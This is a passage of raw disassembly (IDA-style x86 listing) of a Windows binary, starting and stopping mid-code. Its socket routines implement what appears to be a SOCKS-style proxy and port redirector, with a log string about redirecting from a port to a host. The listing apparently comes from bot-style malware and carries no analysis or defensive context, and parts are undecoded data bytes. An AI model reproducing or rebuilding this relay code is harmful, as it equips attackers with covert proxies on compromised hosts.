[esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42A782 loc_42A709: ; CODE XREF: sub_42A5F0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42A766 cmp esi, 0FFFFFFFFh jnz short loc_42A709 loc_42A766: ; CODE XREF: sub_42A5F0+16Fj mov esi, dword_50FC88 push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: sub_42A5F0+35j ; sub_42A5F0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42A5F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42AACA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42ABE6 mov edi, dword_50FC80 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42AC73 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_436F60 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 0E8905600h dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42AACA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017E4 mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42A9DB: ; CODE XREF: sub_42A810+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42A9FF test al, al jz short loc_42A9FB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42A9FF add ecx, 2 add edi, 2 test al, al jnz short loc_42A9DB loc_42A9FB: ; CODE XREF: sub_42A810+1D5j xor eax, eax jmp short loc_42AA04 ; --------------------------------------------------------------------------- loc_42A9FF: ; CODE XREF: sub_42A810+1D1j ; sub_42A810+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA04: ; CODE XREF: sub_42A810+1EDj test eax, eax jz short loc_42AA61 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017E4 lea edi, [esp+83Ch+var_100] loc_42AA1E: ; CODE XREF: sub_42A810+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42AA42 test cl, cl jz short loc_42AA3E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42AA42 add edi, 2 add eax, 2 test cl, cl jnz short loc_42AA1E loc_42AA3E: ; CODE XREF: sub_42A810+218j xor eax, eax jmp short loc_42AA47 ; --------------------------------------------------------------------------- loc_42AA42: ; CODE XREF: sub_42A810+214j ; sub_42A810+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA47: ; CODE XREF: sub_42A810+230j test eax, eax jz short loc_42AA61 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AA61: ; CODE XREF: sub_42A810+1F6j ; sub_42A810+239j mov edi, dword_50FC8C push 0 push 2 push offset dword_445340 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 nop call near ptr 71AB2DC0h lea edx, [esp+83Ch+var_80C] push edx push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42AACA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42AB31 sub eax, 2 jz short loc_42AAD9 dec eax loc_42AAC8: ; CODE XREF: sub_42A810+31Fj jnz short loc_42AB40 loc_42AACA: ; CODE XREF: sub_42A810+32j ; sub_42A810+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: sub_42A810+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_40174E test al, al jmp short loc_42AAC8 ; --------------------------------------------------------------------------- loc_42AB31: ; CODE XREF: sub_42A810+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42AACA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42AACA push eax push 4 push offset dword_445338 push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020C2 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42ABE6: ; CODE XREF: sub_42A810+47j cmp ax, 2 jnz loc_42AC73 mov ebx, dword_50FC80 loc_42ABF6: ; CODE XREF: sub_42A810+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C1C test edi, edi jz short loc_42AC73 cmp edi, 0FFFFFFFFh jz short loc_42AC73 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42ABF6 loc_42AC73: ; CODE XREF: sub_42A810+67j ; sub_42A810+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42A810 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ADB0 proc near ; CODE XREF: sub_401F19j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42ADC4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42ADD6 dec eax jz short loc_42ADF8 mov word ptr [esi+6], 1 loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj mov eax, 1 mov ecx, 6 loc_42ADE0: ; CODE XREF: sub_42ADB0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42AE04 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42ADE0 ; --------------------------------------------------------------------------- loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax call near ptr 71AB3E00h nop test eax, eax jz short loc_42AE49 mov eax, [esi+32h] push eax call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE49: ; CODE XREF: sub_42ADB0+86j cmp word ptr [esi+6], 1 jnz short loc_42AE71 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42AE71 mov edx, [esi+32h] push edx call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej ; sub_42ADB0+AEj mov al, 1 pop esi add esp, 10h retn sub_42ADB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AEC0 proc near ; CODE XREF: sub_401DBBj var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42AEC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42AF5A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42AF41 mov ebx, dword_50FC84 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42AF26 loc_42AF12: ; CODE XREF: sub_42AEC0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42AF12 loc_42AF26: ; CODE XREF: sub_42AEC0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42AF7A loc_42AF41: ; CODE XREF: sub_42AEC0+39j ; sub_42AEC0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42AF54: ; DATA XREF: ___:00441F74o mov eax, offset loc_42AF41 retn ; --------------------------------------------------------------------------- loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj cmp ax, 2 jnz short loc_42AF41 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42AF41 loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42AEC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AFD0: ; CODE XREF: ___:00401F78j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43BB90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42B019: ; DATA XREF: ___:loc_42B031o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42B031: ; DATA XREF: ___:00441FD4o mov eax, offset loc_42B019 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B060 proc near ; CODE XREF: sub_401C17j var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42B060 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 nop call near ptr 71AB664Dh test eax, eax jz short loc_42B0D7 loc_42B097: ; CODE XREF: ___:0042B166j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42B0D7: ; CODE XREF: sub_42B060+35j push 42h call sub_4367FA sub_42B060 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42B0FC push 1 mov ecx, eax call sub_4014E7 jmp short loc_42B0FE ; --------------------------------------------------------------------------- loc_42B0FC: ; CODE XREF: ___:0042B0EFj xor eax, eax loc_42B0FE: ; CODE XREF: ___:0042B0FAj mov dword_50E3D8, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_50E3D8 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40200E lea eax, [esp+1C0h] push eax mov eax, dword_50E3D8 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40200E mov eax, dword_50E3D8 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F19 test al, al jz loc_42B097 loc_42B16C: ; CODE XREF: ___:0042B17Dj mov eax, dword_50E3D8 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DBB jmp short loc_42B16C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B1D0 proc near ; CODE XREF: sub_4014E7j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42B1F2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43E190 call sub_4014AB loc_42B1F2: ; CODE XREF: sub_42B1D0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43E18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42B1D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B240 proc near ; CODE XREF: sub_4014ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B240 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_401424 lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B240 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B2D0 proc near ; CODE XREF: sub_4020D1j ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42B2D0 endp ; --------------------------------------------------------------------------- align 10h loc_42B2E0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43BC08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401F82 push offset off_443D80 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43E1A0 call sub_4015D7 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42B368 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B368: ; CODE XREF: sub_42B350+Dj mov eax, esi pop esi retn 4 sub_42B350 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B380 proc near ; CODE XREF: sub_4011BDj jmp sub_40179E sub_42B380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3A0 proc near ; CODE XREF: sub_40134Dj var_10 = byte ptr -10h mov eax, 1000h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42B42C mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+28h+var_10] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42B3CC loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej ; sub_42B3A0+55j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42B448 push eax call near ptr 71AB9639h nop loc_42B448: ; CODE XREF: sub_42B3A0+9Fj add esp, 1000h retn sub_42B3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B480 proc near ; CODE XREF: sub_401663j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B480 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_443D80 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E1B0 call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B480 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42B508 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B508: ; CODE XREF: sub_42B4F0+Dj mov eax, esi pop esi retn 4 sub_42B4F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B520 proc near ; CODE XREF: sub_401217j jmp sub_40179E sub_42B520 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B540 proc near ; CODE XREF: sub_40152Dj var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42B70A mov ebx, 1 push 6 push ebx push 2 call near ptr 71AB3B91h nop cmp eax, edi mov [esi+0A5h], eax jnz short loc_42B598 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B598: ; CODE XREF: sub_42B540+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42B5F2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B5F2: ; CODE XREF: sub_42B540+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx call near ptr 71AB406Ah nop cmp eax, edi jnz short loc_42B622 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B622: ; CODE XREF: sub_42B540+C8j mov edx, [esi+0A1h] mov edi, dword_50FC50 lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42B70A mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B676: ; CODE XREF: sub_42B540+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6A0 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6A0: ; CODE XREF: sub_42B540+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6DB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6DB: ; CODE XREF: sub_42B540+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B676 jmp short loc_42B70A ; --------------------------------------------------------------------------- loc_42B702: ; CODE XREF: sub_42B540+15Ej ; sub_42B540+199j push 0Ah nop call near ptr 2821BE4h loc_42B70A: ; CODE XREF: sub_42B540+27j ; sub_42B540+124j ... mov eax, [esi+0A1h] mov edi, dword_50FC88 cmp eax, 0FFFFFFFFh jz short loc_42B71E push eax call edi ; closesocket loc_42B71E: ; CODE XREF: sub_42B540+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42B72C push esi call edi ; closesocket loc_42B72C: ; CODE XREF: sub_42B540+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42B540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 48h ; H db 0BCh ; ¼ db 43h ; C db 0 db 64h ; d db 0A1h ; ¡ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ‰ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ‹ db 0F1h ; ñ db 89h ; ‰ db 74h ; t db 24h ; $ db 4 db 0E8h ; è db 0A0h ; db 67h ; g db 0FDh ; ý db 0FFh db 68h ; h db 80h ; € db 3Dh ; = db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; Ç db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; Ç db 6 db 0C0h ; À db 0E1h ; á db 43h ; C db 0 db 0E8h ; è db 0DAh ; Ú db 5Dh ; ] db 0FDh ; ý db 0FFh db 8Bh ; ‹ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ‹ db 0C6h ; Æ db 5Eh ; ^ db 64h ; d db 89h ; ‰ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 10h db 0C3h ; Ã db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B830: ; CODE XREF: ___:loc_4015F0j ; ___:00401FAAj push esi mov esi, ecx call sub_401B8B test byte ptr [esp+8], 1 jz short loc_42B848 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B848: ; CODE XREF: ___:0042B83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B860 proc near ; CODE XREF: sub_401B8Bj jmp sub_40179E sub_42B860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B880 proc near ; CODE XREF: sub_4019E2j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B880 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017E4 push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014D3 mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42BAB8 mov dx, 